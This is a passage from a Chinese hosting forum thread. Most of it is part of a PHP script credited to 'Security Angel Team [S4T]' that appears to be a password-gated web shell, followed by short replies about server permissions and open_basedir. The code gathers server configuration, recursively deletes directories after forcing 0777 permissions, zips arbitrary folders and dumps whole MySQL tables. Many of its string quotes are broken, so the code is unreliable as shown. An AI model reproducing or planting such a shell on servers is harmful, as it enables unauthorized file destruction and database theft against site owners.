724.    $adminmail=(isset($_SERVER['SERVER_ADMIN'])) ? "<a href="mailto:".$_SERVER['SERVER_ADMIN']."">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href="mailto:".get_cfg_var("sendmail_from")."">".get_cfg_var("sendmail_from")."</a>";
     
725. 
     
726.    $dis_func = get_cfg_var("disable_functions");
     
727.    if ($dis_func == "") {
     
728.       $dis_func = "No";
     
729.    }else {
     
730.       $dis_func = str_replace(" ","<br>",$dis_func);
     
731.       $dis_func = str_replace(",","<br>",$dis_func);
     
732.    }
     
733.    
     
734.    $phpinfo=(!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
     
735. 
     
736.    $info[0]  = array("服务器时间",date("Y年m月d日 h:i:s",time()));
     
737.    $info[1]  = array("服务器域名","<a href="http://$_SERVER[SERVER_NAME]" target="_blank">$_SERVER[SERVER_NAME]</a>");
     
738.    $info[2]  = array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME']));
     
739.    $info[3]  = array("服务器操作系统",PHP_OS);
     
740.    $info[5]  = array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']);
     
741.    $info[6]  = array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']);
     
742.    $info[7]  = array("Web服务端口",$_SERVER['SERVER_PORT']);
     
743.    $info[8]  = array("PHP运行方式",strtoupper(php_sapi_name()));
     
744.    $info[9]  = array("PHP版本",PHP_VERSION);
     
745.    $info[10] = array("运行于安全模式",getphpcfg("safemode"));
     
746.    $info[11] = array("服务器管理员",$adminmail);
     
747.    $info[12] = array("本文件路径",__FILE__);
     
748.    
     
749.    $info[13] = array("允许使用 URL 打开文件 allow_url_fopen",getphpcfg("allow_url_fopen"));
     
750.    $info[14] = array("允许动态加载链接库 enable_dl",getphpcfg("enable_dl"));
     
751.    $info[15] = array("显示错误信息 display_errors",getphpcfg("display_errors"));
     
752.    $info[16] = array("自动定义全局变量 register_globals",getphpcfg("register_globals"));
     
753.    $info[17] = array("magic_quotes_gpc",getphpcfg("magic_quotes_gpc"));
     
754.    $info[18] = array("程序最多允许使用内存量 memory_limit",getphpcfg("memory_limit"));
     
755.    $info[19] = array("POST最大字节数 post_max_size",getphpcfg("post_max_size"));
     
756.    $info[20] = array("允许最大上传文件 upload_max_filesize",$upsize);
     
757.    $info[21] = array("程序最长运行时间 max_execution_time",getphpcfg("max_execution_time")."秒");
     
758.    $info[22] = array("被禁用的函数 disable_functions",$dis_func);
     
759.    $info[23] = array("phpinfo()",$phpinfo);
     
760.    $info[24] = array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb');
     
761. 
     
762.    $info[25] = array("图形处理 GD Library",getfun("imageline"));
     
763.    $info[26] = array("IMAP电子邮件系统",getfun("imap_close"));
     
764.    $info[27] = array("MySQL数据库",getfun("mysql_close"));
     
765.    $info[28] = array("SyBase数据库",getfun("sybase_close"));
     
766.    $info[29] = array("Oracle数据库",getfun("ora_close"));
     
767.    $info[30] = array("Oracle 8 数据库",getfun("OCILogOff"));
     
768.    $info[31] = array("PREL相容语法 PCRE",getfun("preg_match"));
     
769.    $info[32] = array("PDF文档支持",getfun("pdf_close"));
     
770.    $info[33] = array("Postgre SQL数据库",getfun("pg_close"));
     
771.    $info[34] = array("SNMP网络管理协议",getfun("snmpget"));
     
772.    $info[35] = array("压缩文件支持(Zlib)",getfun("gzclose"));
     
773.    $info[36] = array("XML解析",getfun("xml_set_object"));
     
774.    $info[37] = array("FTP",getfun("ftp_login"));
     
775.    $info[38] = array("ODBC数据库连接",getfun("odbc_close"));
     
776.    $info[39] = array("Session支持",getfun("session_start"));
     
777.    $info[40] = array("Socket支持",getfun("fsockopen"));
     
778. ?>
     
779. <table width="760" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#ffffff">
     
780. <form action="?action=phpenv" method="POST">
     
781.   <tr class="firstalt">
     
782.     <td style="padding-left: 5px;"><b>查看PHP配置参数状况</b></td>
     
783.   </tr>
     
784.   <tr class="secondalt">
     
785.     <td style="padding-left: 5px;">请输入配置参数(如:magic_quotes_gpc):<input name="phpvarname" type="text" class="input" size="40"> <input type="submit" name="viewphpvar" value="查看" class="input"></td>
     
786.   </tr>
     
787. </form>
     
788. <?php
     
789.    for($a=0;$a<3;$a++){
     
790.       if($a == 0){
     
791.          $hp = array("server","服务器特性");
     
792.       }elseif($a == 1){
     
793.          $hp = array("php","PHP基本特性");
     
794.       }elseif($a == 2){
     
795.          $hp = array("basic","组件支持状况");
     
796.       }
     
797. ?>
     
798.   <tr class="firstalt">
     
799.     <td style="padding-left: 5px;"><b><?=$hp[1]?></b></td>
     
800.   </tr>
     
801.   <tr class="secondalt">
     
802.     <td>
     
803.       <table width="100%" border="0" cellpadding="0" cellspacing="0">
     
804. <?php
     
805.       if($a == 0){
     
806.          for($i=0;$i<=12;$i++){
     
807.             echo "<tr><td width=40% style="padding-left: 5px;">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
     
808.          }
     
809.       }elseif($a == 1){
     
810.          for($i=13;$i<=24;$i++){
     
811.             echo "<tr><td width=40% style="padding-left: 5px;">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
     
812.          }
     
813.       }elseif($a == 2){
     
814.          for($i=25;$i<=40;$i++){
     
815.             echo "<tr><td width=40% style="padding-left: 5px;">".$info[$i][0]."</td><td>".$info[$i][1]."</td></tr>\n";
     
816.          }
     
817.       }
     
818. ?>
     
819.       </table>
     
820.     </td>
     
821.   </tr>
     
822. <?php
     
823.    }//for
     
824. echo "</table>";
     
825. }//end phpenv
     
826. ?>
     
827. <hr width="760" noshade>
     
828. <table width="760" border="0" cellpadding="0">
     
829.   <tr>
     
830.     <td>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</td>
     
831.     <td align="right"><?php
     
832.    debuginfo();
     
833.    ob_end_flush();   
     
834.    ?></td>
     
835.   </tr>
     
836. </table>
     
837. </center>
     
838. </body>
     
839. </html>
     
840. 
     
841. <?php
     
842. 
     
843. /*======================================================
     
844. 函数库
     
845. ======================================================*/
     
846. 
     
847.    // 登陆入口
     
848.    function loginpage() {
     
849. ?>
     
850.       <style type="text/css">
     
851.       input {
     
852.          font-family: "Verdana";
     
853.          font-size: "11px";
     
854.          BACKGROUND-COLOR: "#FFFFFF";
     
855.          height: "18px";
     
856.          border: "1px solid #666666";
     
857.       }
     
858.       </style>
     
859.       <form method="POST" action="">
     
860.       <span style="font-size: 11px; font-family: Verdana">Password: </span><input name="adminpass" type="password" size="20">
     
861.       <input type="submit" name="login" value="OK">
     
862.       </form>
     
863. <?php
     
864.       exit;
     
865.    }//end loginpage()
     
866. 
     
867.    // 页面调试信息
     
868.    function debuginfo() {
     
869.       global $starttime;
     
870.       $mtime = explode(' ', microtime());
     
871.       $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
     
872.       echo "Processed in $totaltime second(s)";
     
873.    }
     
874. 
     
875.    // 去掉转义字符
     
876.    function stripslashes_array(&$array) {
     
877.       while(list($key,$var) = each($array)) {
     
878.          if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
     
879.             if (is_string($var)) {
     
880.                $array[$key] = stripslashes($var);
     
881.             }
     
882.             if (is_array($var))  {
     
883.                $array[$key] = stripslashes_array($var);
     
884.             }
     
885.          }
     
886.       }
     
887.       return $array;
     
888.    }
     
889. 
     
890.    // 删除目录
     
891.    function deltree($deldir) {
     
892.       $mydir=@dir($deldir);   
     
893.       while($file=$mydir->read())   {        
     
894.          if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) {
     
895.             @chmod("$deldir/$file",0777);
     
896.             deltree("$deldir/$file");
     
897.          }
     
898.          if (is_file("$deldir/$file")) {
     
899.             @chmod("$deldir/$file",0777);
     
900.             @unlink("$deldir/$file");
     
901.          }
     
902.       }
     
903.       $mydir->close();
     
904.       @chmod("$deldir",0777);
     
905.       echo @rmdir($deldir) ? "目录删除成功!" : "<font color="#ff0000">目录删除失败!</font>";   
     
906.    }
     
907. 
     
908.    // 判断读写情况
     
909.    function dir_writeable($dir) {
     
910.       if (!is_dir($dir)) {
     
911.          @mkdir($dir, 0777);
     
912.       }
     
913.       if(is_dir($dir)) {
     
914.          if ($fp = @fopen("$dir/test.txt", 'w')) {
     
915.             @fclose($fp);
     
916.             @unlink("$dir/test.txt");
     
917.             $writeable = 1;
     
918.          } else {
     
919.             $writeable = 0;
     
920.          }
     
921.       }
     
922.       return $writeable;
     
923.    }
     
924. 
     
925.    // 表格行间的背景色替换
     
926.    function getrowbg() {
     
927.       global $bgcounter;
     
928.       if ($bgcounter++%2==0) {
     
929.          return "firstalt";
     
930.       } else {
     
931.          return "secondalt";
     
932.       }
     
933.    }
     
934. 
     
935.    // 获取当前的文件系统路径
     
936.    function getPath($mainpath, $relativepath) {
     
937.       global $dir;
     
938.       $mainpath_info           = explode('/', $mainpath);
     
939.       $relativepath_info       = explode('/', $relativepath);
     
940.       $relativepath_info_count = count($relativepath_info);
     
941.       for ($i=0; $i<$relativepath_info_count; $i++) {
     
942.          if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue;
     
943.          if ($relativepath_info[$i] == '..') {
     
944.             $mainpath_info_count = count($mainpath_info);
     
945.             unset($mainpath_info[$mainpath_info_count-1]);
     
946.             continue;
     
947.          }
     
948.          $mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
     
949.       } //end for
     
950.       return implode('/', $mainpath_info);
     
951.    }
     
952. 
     
953.    // 检查PHP配置参数
     
954.    function getphpcfg($varname) {
     
955.       switch($result = get_cfg_var($varname)) {
     
956.          case 0:
     
957.          return No;
     
958.          break;
     
959.          case 1:
     
960.          return Yes;
     
961.          break;
     
962.          default:
     
963.          return $result;
     
964.          break;
     
965.       }
     
966.    }
     
967. 
     
968.    // 检查函数情况
     
969.    function getfun($funName) {
     
970.       return (false !== function_exists($funName)) ? Yes : No;
     
971.    }
     
972. 
     
973.    // 压缩打包类
     
974.    class PHPZip{
     
975.    var $out='';
     
976.       function PHPZip($dir, $zipfilename="")   {
     
977.           if (@function_exists('gzcompress'))   {
     
978.             $curdir = getcwd();
     
979.             if (is_array($dir)) $filelist = $dir;
     
980.               else{
     
981.                  $filelist=$this -> GetFileList($dir);//文件列表
     
982.                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
     
983.                }
     
984.               if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
     
985.             else chdir($curdir);
     
986.             if (count($filelist)>0){
     
987.                foreach($filelist as $filename){
     
988.                   if (is_file($filename)){
     
989.                      $fd = fopen ($filename, "r");
     
990.                      $content = @fread ($fd, filesize ($filename));
     
991.                      fclose ($fd);
     
992.                       if (is_array($dir)) $filename = basename($filename);
     
993.                      $this -> addFile($content, $filename);
     
994.                   }
     
995.                }
     
996.                $this->out = $this -> file();
     
997.                chdir($curdir);
     
998.                // 下面将生成的内容$out写入文件,如果需要在服务器生成压缩包，请去掉注释
     
999.                /*$fp = fopen($zipfilename, "w");
     
1000.                   fwrite($fp, $this->out, strlen($this->out));
      
1001.                  fclose($fp);
      
1002.                 */
      
1003.             }
      
1004.             return 1;
      
1005.          }
      
1006.          else return 0;
      
1007.       }
      
1008. 
      
1009.       // 获得指定目录文件列表
      
1010.       function GetFileList($dir){
      
1011.          static $a;
      
1012.          if (is_dir($dir)) {
      
1013.             if ($dh = opendir($dir)) {
      
1014.                   while (($file = readdir($dh)) !== false) {
      
1015.                   if($file!='.' && $file!='..'){
      
1016.                         $f=$dir .'/'. $file;
      
1017.                         if(is_dir($f)) $this->GetFileList($f);
      
1018.                      $a[]=$f;
      
1019.                     }
      
1020.                }
      
1021.                  closedir($dh);
      
1022.              }
      
1023.          }
      
1024.          return $a;
      
1025.       }
      
1026. 
      
1027.       var $datasec      = array();
      
1028.        var $ctrl_dir     = array();
      
1029.       var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
      
1030.        var $old_offset   = 0;
      
1031. 
      
1032.       function unix2DosTime($unixtime = 0) {
      
1033.            $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
      
1034.           if ($timearray['year'] < 1980) {
      
1035.             $timearray['year']    = 1980;
      
1036.               $timearray['mon']     = 1;
      
1037.               $timearray['mday']    = 1;
      
1038.              $timearray['hours']   = 0;
      
1039.             $timearray['minutes'] = 0;
      
1040.               $timearray['seconds'] = 0;
      
1041.            } // end if
      
1042.           return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
      
1043.                  ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
      
1044.        }
      
1045. 
      
1046.       function addFile($data, $name, $time = 0) {
      
1047.            $name     = str_replace('\\', '/', $name);
      
1048. 
      
1049.           $dtime    = dechex($this->unix2DosTime($time));
      
1050.            $hexdtime = '\x' . $dtime[6] . $dtime[7]
      
1051.                     . '\x' . $dtime[4] . $dtime[5]
      
1052.                    . '\x' . $dtime[2] . $dtime[3]
      
1053.                   . '\x' . $dtime[0] . $dtime[1];
      
1054.            eval('$hexdtime = "' . $hexdtime . '";');
      
1055.           $fr   = "\x50\x4b\x03\x04";
      
1056.          $fr   .= "\x14\x00";
      
1057.            $fr   .= "\x00\x00";
      
1058.           $fr   .= "\x08\x00";
      
1059.          $fr   .= $hexdtime;
      
1060. 
      
1061.            $unc_len = strlen($data);
      
1062.           $crc     = crc32($data);
      
1063.          $zdata   = gzcompress($data);
      
1064.            $c_len   = strlen($zdata);
      
1065.           $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
      
1066.          $fr      .= pack('V', $crc);
      
1067.            $fr      .= pack('V', $c_len);
      
1068.           $fr      .= pack('V', $unc_len);
      
1069.          $fr      .= pack('v', strlen($name));
      
1070.            $fr      .= pack('v', 0);
      
1071.           $fr      .= $name;
      
1072. 
      
1073.          $fr .= $zdata;
      
1074. 
      
1075.            $fr .= pack('V', $crc);
      
1076.           $fr .= pack('V', $c_len);
      
1077.          $fr .= pack('V', $unc_len);
      
1078. 
      
1079.            $this -> datasec[] = $fr;
      
1080.           $new_offset        = strlen(implode('', $this->datasec));
      
1081. 
      
1082.          $cdrec = "\x50\x4b\x01\x02";
      
1083.            $cdrec .= "\x00\x00";
      
1084.           $cdrec .= "\x14\x00";
      
1085.          $cdrec .= "\x00\x00";
      
1086.            $cdrec .= "\x08\x00";
      
1087.           $cdrec .= $hexdtime;
      
1088.          $cdrec .= pack('V', $crc);
      
1089.            $cdrec .= pack('V', $c_len);
      
1090.           $cdrec .= pack('V', $unc_len);
      
1091.          $cdrec .= pack('v', strlen($name) );
      
1092.            $cdrec .= pack('v', 0 );
      
1093.           $cdrec .= pack('v', 0 );
      
1094.          $cdrec .= pack('v', 0 );
      
1095.            $cdrec .= pack('v', 0 );
      
1096.           $cdrec .= pack('V', 32 );
      
1097.          $cdrec .= pack('V', $this -> old_offset );
      
1098.            $this -> old_offset = $new_offset;
      
1099.           $cdrec .= $name;
      
1100. 
      
1101.          $this -> ctrl_dir[] = $cdrec;
      
1102.        }
      
1103. 
      
1104.       function file() {
      
1105.          $data    = implode('', $this -> datasec);
      
1106.            $ctrldir = implode('', $this -> ctrl_dir);
      
1107.           return
      
1108.              $data .
      
1109.             $ctrldir .
      
1110.                $this -> eof_ctrl_dir .
      
1111.               pack('v', sizeof($this -> ctrl_dir)) .
      
1112.              pack('v', sizeof($this -> ctrl_dir)) .
      
1113.             pack('V', strlen($ctrldir)) .
      
1114.                pack('V', strlen($data)) .
      
1115.               "\x00\x00";
      
1116.        }
      
1117.    }
      
1118. 
      
1119.    // 备份数据库
      
1120.    function sqldumptable($table, $fp=0) {
      
1121.       $tabledump = "DROP TABLE IF EXISTS $table;\n";
      
1122.       $tabledump .= "CREATE TABLE $table (\n";
      
1123. 
      
1124.       $firstfield=1;
      
1125. 
      
1126.       $fields = mysql_query("SHOW FIELDS FROM $table");
      
1127.       while ($field = mysql_fetch_array($fields)) {
      
1128.          if (!$firstfield) {
      
1129.             $tabledump .= ",\n";
      
1130.          } else {
      
1131.             $firstfield=0;
      
1132.          }
      
1133.          $tabledump .= "   $field[Field] $field[Type]";
      
1134.          if (!empty($field["Default"])) {
      
1135.             $tabledump .= " DEFAULT '$field[Default]'";
      
1136.          }
      
1137.          if ($field['Null'] != "YES") {
      
1138.             $tabledump .= " NOT NULL";
      
1139.          }
      
1140.          if ($field['Extra'] != "") {
      
1141.             $tabledump .= " $field[Extra]";
      
1142.          }
      
1143.       }
      
1144.       mysql_free_result($fields);
      
1145.    
      
1146.       $keys = mysql_query("SHOW KEYS FROM $table");
      
1147.       while ($key = mysql_fetch_array($keys)) {
      
1148.          $kname=$key['Key_name'];
      
1149.          if ($kname != "PRIMARY" and $key['Non_unique'] == 0) {
      
1150.             $kname="UNIQUE|$kname";
      
1151.          }
      
1152.          if(!is_array($index[$kname])) {
      
1153.             $index[$kname] = array();
      
1154.          }
      
1155.          $index[$kname][] = $key['Column_name'];
      
1156.       }
      
1157.       mysql_free_result($keys);
      
1158. 
      
1159.       while(list($kname, $columns) = @each($index)) {
      
1160.          $tabledump .= ",\n";
      
1161.          $colnames=implode($columns,",");
      
1162. 
      
1163.          if ($kname == "PRIMARY") {
      
1164.             $tabledump .= "   PRIMARY KEY ($colnames)";
      
1165.          } else {
      
1166.             if (substr($kname,0,6) == "UNIQUE") {
      
1167.                $kname=substr($kname,7);
      
1168.             }
      
1169.             $tabledump .= "   KEY $kname ($colnames)";
      
1170.          }
      
1171.       }
      
1172. 
      
1173.       $tabledump .= "\n);\n\n";
      
1174.       if ($fp) {
      
1175.          fwrite($fp,$tabledump);
      
1176.       } else {
      
1177.          echo $tabledump;
      
1178.       }
      
1179. 
      
1180.       $rows = mysql_query("SELECT * FROM $table");
      
1181.       $numfields = mysql_num_fields($rows);
      
1182.       while ($row = mysql_fetch_array($rows)) {
      
1183.          $tabledump = "INSERT INTO $table VALUES(";
      
1184. 
      
1185.          $fieldcounter=-1;
      
1186.          $firstfield=1;
      
1187.          while (++$fieldcounter<$numfields) {
      
1188.             if (!$firstfield) {
      
1189.                $tabledump.=", ";
      
1190.             } else {
      
1191.                $firstfield=0;
      
1192.             }
      
1193. 
      
1194.             if (!isset($row[$fieldcounter])) {
      
1195.                $tabledump .= "NULL";
      
1196.             } else {
      
1197.                $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
      
1198.             }
      
1199.          }
      
1200. 
      
1201.          $tabledump .= ");\n";
      
1202. 
      
1203.          if ($fp) {
      
1204.             fwrite($fp,$tabledump);
      
1205.          } else {
      
1206.             echo $tabledump;
      
1207.          }
      
1208.       }
      
1209.       mysql_free_result($rows);
      
1210.    }
      
1211. ?>

复制代码

还有一点，我想把192.168.1.1 和192.168.1.2全邦在这台服务器上，应该如何操作

我问了不少人都不知道，有人说要改php代码，设成777，但我也应该还有其它方法的

1、请在httpd.conf里面设置open_basedir参数…
2、需要把FTP用户名和apache启动的用户名统一即可，不过这应该不是最好的办法。
你可以请客人用webadmin.php之类的软件自己改权限

Originally posted by cqfanli at 2005-2-16 09:10
1、请在httpd.conf里面设置open_basedir参数…
2、需要把FTP用户名和apache启动的用户名统一即可，不过这应该不是最好的办法。
你可以请客人用webadmin.php之类的软件自己改权限

有理！